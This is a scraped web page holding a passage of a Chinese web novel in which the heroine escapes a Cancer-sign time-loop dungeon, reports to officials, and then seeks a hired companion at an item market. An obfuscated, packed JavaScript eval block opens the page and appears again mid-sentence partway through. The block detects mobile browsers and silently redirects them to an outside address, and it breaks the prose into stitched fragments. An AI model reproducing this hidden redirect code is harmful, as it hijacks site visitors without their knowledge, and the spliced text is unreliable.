;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065766|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶在她的头顶,滋滋冒着红光扫视。 两只锋利的钳子,眼睛顶在头上……还真是一只巨蟹精!云真真啪啪将湿掉的报纸拍在玻璃上,眼不见为净,相看两生厌。 咚咚擂门声、刷刷抓挠声再次响起,云真真听习惯了,索性把它当白噪音,助力思考。 当务之急是找到出去的通道。 等等……余光扫过贴在玻璃上的旧报纸,上面的字迹似乎发生了变化! 我、的、开始……云真真仔细辨认之后,发现口水沾湿的地方出现几个血红色的字。 她又吐了一口口水上去,报纸迅速变成透明色,妈妈的红色眼球浮现在背后,云真真顿时头痛炸裂、头晕目眩。 精神鞭笞比物理攻击还要可怕……云真真踉跄着摸到墙边的报纸,哆哆嗦嗦又贴了一层,总算把那窥探的目光暂时隔离在玻璃另一侧。 她又刷刷扯下几张报纸,展到最大后平铺在地上,端起床头柜上那杯脏兮兮的水,分别泼洒在报纸上。 完整的红字终于浮现出来,这张报纸是这十个字,那张报纸同样如此:我的开始就是我的结束。 指向很明显,云真真心中不免“害”了一声,用相声演员的口吻。 妥妥的马后炮。 早知线索就隐藏在这破报纸背面,还用淋水这么老派的手段,谁还要死上若干次,非要自己跑出去悟出来呢! 刺拉、刺拉——门口方向传来极其刺耳的声音,一个明晃晃的刀尖刺破了门,不断豁出更大裂痕。 倒计时也只剩下30分钟。 冷汗浸湿了衣服。云真真无论如何也不愿再次落入循环。 记忆破碎尚且能用记忆宫殿等手段修修补补,认知一旦破碎……脑海中浮现爸爸那张胶皮球泄气之后的皮。 天花板上没有阁楼,地面也没有通往地下室的隐藏入口。云真真用尽毕生所学,探测了一番后,得出一个绝望的结论。 门后的那把刀,已将门完全刺穿,行使起锯的功能,打算将门生生锯开。 云真真闭上双眼深呼吸,感觉到心跳明显减慢才睁开双眼。再次查看四周,视线清明起来。 目光最终落在没有时针的奇怪钟表上。 秒针咔嚓、咔嚓,一刻也不停地跳动着,却永远不知此时是何时。 没错。无头苍蝇一样乱飞,只会一次又一次陷入绝望的循环之中,最终彻底丧失自我。 云真真取下挂钟,咔、咔两声清脆音响起,分针和秒针被狠狠拔掉。 整理记忆碎片,以往的每次循环,分针都从位于最底端的6开始走动。 若把表盘看成星盘,恰好属于4宫巨蟹座的范围。 这就意味着,每一次循环重置,都会再次落入星盘最黑暗的天底,妈妈的五指山。 停止吧,停止这可悲可笑的无效循环!云真真将两根冰冷的表针扔在地上。 表盘浮现出一行血红的字,像是付出献血代价后才能悟出的东西:向外张望的人在做梦,向内审视的人才是清醒的。 云真真读过精神分析相关书籍,知道这是心理学家荣格的话。只是她从不愿意让任何理论套用在自己身上。 内,外;梦,醒…… 似乎只是一门之隔的距离。而且那门,已经被刀子豁出一条手指粗细的口子,且越裂越大。 云真真却突然仰头笑起来,甚至笑出几滴眼泪。 在副本中“醒来”之时,实际上却是梦的开始。 她慢慢走近那张箱子一般的小单人床,之前正是在这张床上醒来的。 由于被子、枕头被拿去挡门,小床显得更加陈旧窄小,散发着清漆和霉菌混合的气味。 云真真紧扣床边,用力一拉,床板居然被轻松移开了。 里面黑洞洞的,似乎有一些空间。 这分明是一口棺材。 云真真不假思索地躺进去,在妈妈举着双刀破门而入那一刻,从内部拉上棺材盖,留给妈妈一张微笑的脸。 叮~期待中的通关机械音终于响起。 黑暗之中,心脏发出的声音无比清晰:妈妈,如果我不曾出生,就不会折磨你,也不会被你折磨了吧…… 47. 在分析会上敲一笔 第四十七章 阳光明亮,人声嘈杂,云真真却在此刻如坠云中,失去实感。 生活污水和垃圾散发出阵阵难闻的混合气味,与杂碎饭浓重的血腥气交叠。 城中村的居民聚集在一起,探头探脑看过来,不怀好意地议论着,像是一个个虚幻的NPC。 一阵夸张的狼哭鬼嚎从人群中脱颖而出,让云真真回过神来:“真真妹子啊,你咋就自己走了,一声不吭?是不是你队友,我还?呜呜……你这要是出不来,我还活不活?” “婆婆妈妈!”辛晴一把剥开膏药般的金乐儿,开辟出一条路。 白深一步一步走近,阳光一寸一寸被他的身影遮挡住。 云真真只觉一阵发冷,双膝无力,不由自主向下瘫倒。 意识消失之前,对上白深的眼神。 冷漠,比原生家庭还要冷漠。只有探寻的意味。 再次睁开眼,云真真心头一紧。 是否依然处于循环之中? 直到熟悉而潮湿的霉味渗入嗅觉细胞,她才稍稍安了心,向床边两个人影望去。 短短的黄毛跳动着,金乐儿迅速挥舞双臂,大喊大叫起来:“醒了、醒了,她醒了!” 辛晴嫌弃地瞥他一眼,像在看动物园里哗众取宠的猴子,起身去报告队长。 白深正在观察这间逼仄的城中村小屋,听闻转过身来。 “看到什么了,白公子?”云真真挣扎着坐起来,靠在一动就要散架的铁质床头,“生铁锈的水龙头,爬满霉点的墙角,破边豁口的碗碟,还是想深度体验芸芸众生的清贫生活?” “你……”辛晴努力压住脾气,“属刺猬的?动不动就扎人。” 云真真冷笑一声:“对,你们是人,我是刺猬,阶级不同,斗争就一直存在……” 白深双手插在西裤口袋里,并不打算参与战争:“精神不错,起来去社科院星座研究所进行游戏报告。” “急什么,你们懂不懂人道主义,用不用我这初中学历的教教你?她还没恢复呢,来,先吃点东西……”金乐儿递过来一个外卖碗,油乎乎的炒饭上撒着蔫嗒嗒的葱花。 “领导们都到位等着呢。”辛晴施压,“你是首个通关此副本的人,理应提供更多信息,救更多人。” “关我屁事,我可是个受害者。”云真真故意唱反调,接过炒饭,油腥味钻入鼻孔,不禁干呕起来,连连摆手:“还是先去开会吧。有奖金拿的哈?” “长在钱眼里,目的到底是什么?”白深极力掩饰,却仍露出一丝轻蔑的眼光。 “还债!”云真真不假思索地扔出假话,尽管谁都不相信。 “你在副本里面呆了多久?”白深看着她扎起忽然变长的头发,马尾辫倔强地甩着。 “对啊!”金乐儿一拍大腿,“我才发现,头发一下子长这么长,怕不是呆了三年五年?我姥姥说过,天上一天,地上一年,你可受苦了啊……” 辛晴做出一个“嘘”的手势,硬生生把话匣子关闭了。 “别用常理思考。”云真真莞尔一笑,“当你还是一个点,肯定想不明白一条线的事。” 行,打太极。这是又伸手要钱,让我买信息。白深叹口气,打算先沉住气,先去社科院星座研究所听免费的报告。 两台摩托车飞速疾驰着,一栋栋大楼、一条条立交桥一闪而过。 云真真轻轻抱着辛晴的腰,迎着风放大音量:“谢谢你背我回家!” 表达感谢是假,她只是想确认,究竟是辛晴把自己从副本门口背回了家,还是另有他人。 “谢队长去吧。”辛晴冷冷回答,“我大腿肌肉拉伤了,使不上力,他背的。” “哦。看不出来,他对你挺体贴。不然我还以为他是个机器人,型号还挺老旧,只会执行指令。”云真真闻闻袖口,的确残留着一丝高级男香,但更多的是杂碎的腥臭。 该换件衣服的……云真真想着,身体猛然向后一倾,辛晴加大了踩油门的脚力。 搞什么,肌肉哪里拉伤了?云真真不得不抱紧辛晴坚实的腰部。 这次的会议规格,显然比上次高出不少。 会议室空间大、层距高,黑压压坐着一百多个人,丁卯和上次坐在C位的领导排在中后位置,不是他主动招手根本看不见。 前排的两三个人云真真只在黄金新闻时段见过。 金乐儿没有受邀参加会议,却死皮赖脸地蹭白深摩托车来了,美其名曰照顾云真真,目前和辛晴他们一同坐在最后排的旁听席。 云真真刚在侧边的发言席坐下,便立刻被要求报告巨蟹座副本的一切信息。 她怯生生地抬起眼睛,结巴起来:“各位领导……巨蟹座副本属于精神攻击类,我,我……不一定记得请所有细节……” “说你记住的就好,领导们日程很满。”主持人带着一丝责备看向云真真,又对着前排的人假笑。 会场陷入寂静中,持续了几十秒。C位领导忍不住咳嗽了两声。 “我……不知道怎么搞的,头好晕……”云真真单手扶额,弱柳一样摇晃起来。 “这样吧,等这位姑娘休息好,我们改成线上会议。”C位领导皱着眉头,挪动椅子起身。 “我可以坚持!”云真真声音异常洪亮,见领导重新落座后才开口,“可能是出副本之后,精神本来就不太好,又被城中村的生活污水熏到了。那味道,太上头了……” C位领导一招手,秘书一溜烟从墙角跑过来:“城中村生活污水处理项目,启动一年多了,还是露天状态?晚上召集城建、环卫等部门开会……” 金乐儿激动异常:“还是自己不是什么好人!顺手把我们底层人的生活环境整好了,市容市貌美化了,不愧是我真真妹子……” 辛晴把食指比到他嘴上,严肃场合当个大喇叭、影响市容市貌的是他金乐儿。 白深却心知肚明。她泡在城中村多年,污水与垃圾味早已成为空气的组成部分,又怎么会把她熏得头晕? 这是变着法儿和领导提条件。只要付出一分钱,她肯定要拿回至少十倍。 不过……这也算为城中村的几万人做了好事,和SBI的核心价值观相符。 而且效率很高。灵活高效,正是官方设立星座游戏相关组织,却依然支持SBI的重要原因。 白深盯着发言席上口齿伶俐、表述清晰的云真真,既在听内容,更在分析她这个人。 这个充满谜团,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114301|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星座游戏有着某种关联的人。 云真真讲述完毕,各路专家进入分析提问环节。 一位女心理学家认为,整个巨蟹座副本是心理学上的隐喻:“这显然是一个家族悲剧循环链条。父亲严重缺席,母亲控制女儿,女儿再控制她的女儿,无限循环下去,造就逃离不了的痛苦困境……” “分析副本的隐喻和象征,没什么用处!这是纸上谈兵。”一位身着制服、挂有军衔的长官发言,“现阶段的重点是如何通关游戏,不让更多的无辜群众陷入游戏。” “这很可能是现实世界的映射!”心理学家不愿放弃自己的观点,“也许,游戏是在提醒我们,现实中的很多问题需要解决,我们要格外关注妇女和儿童的精神健康!” “怎么解决?”另外一名专家站起来,“像游戏里一样,让被控制、被折磨的孩子钻进棺材,扭断脐带?” “这是隐喻,更多的人需要觉醒,亲手斩断悲剧链条……”心理学家声音不大,却很坚定。 “好了,散会。”C位领导站起身,“今晚辛苦各位熬个夜,明天一早把分析报告交给我。我还有个研究星座游戏道具市场的会议。” 云真真几人被要求继续呆在研究所两小时,以便专家们随时提问。 她厚着脸皮要了误工费,晃晃悠悠回到专属小会议室里,打起白深的主意:“喂,白哥,我还有一些独家细节,你需要吗?比如我这头发,怎么变长的。老熟人了,价格从优!” 白深:我就算是财神爷,也得被你薅秃…… 临走时,丁卯抓着笔记本匆匆忙忙赶过来,悄声向几人打招呼:“又有一个地方出现磁场异动,预计一周左右就会形成副本,到时候我肯定会去!” 云真真朝他摆摆手,叮嘱他多保重。 “白云呐,你们都不问问我,异动地点在哪里吗?”丁卯一脸诧异,十分了解她的命门在哪里,“有游戏通关补贴的呀。” “我能算出来。”云真真眨眨眼,捏起手指像模像样地掐算,“你搞科学,我搞玄学!” 云真真坐在白深摩托的后座,两人风驰电掣前往星座游戏道具市场。 她指挥辛晴先送金乐儿回去。他们俩,一个易燃易爆炸,一个嘴把不住门,实在不适合去那种全是人精、处处危险的地方。 刚才听闻官方正在研究星座道具市场,她想把手中的道具尽快出手,以免夜长梦多。 除此之外,为了践行“不用道具”的游戏策略,她必须得和冷观搭上关系。 两人以“三哥朋友”的身份轻车熟路踏入交易中心,云真真想都不想,直接把双子座副本获得的道具【逻辑提升】和巨蟹座副本道具【母爱无边】鉴定估值拍卖一条龙。 她拍卖的道具都是稀有物,自然升为高等级会员。 “三哥今天没在啊。”云真真翘起二郎腿,坐在尊贵的VIP室内,端起一杯岩茶轻吹,“那把冷观给我叫过来。” 白深正疯狂思考这都什么和什么时,冷观竟然真的走了进来。 苍白的脸庞,虚弱的声音,冷观把自己严严实实裹在黑色帽衫里。 “雇佣你需要多少钱?”云真真指指旁边一脸问号的白深,“他出钱,你跟我们去下个副本。”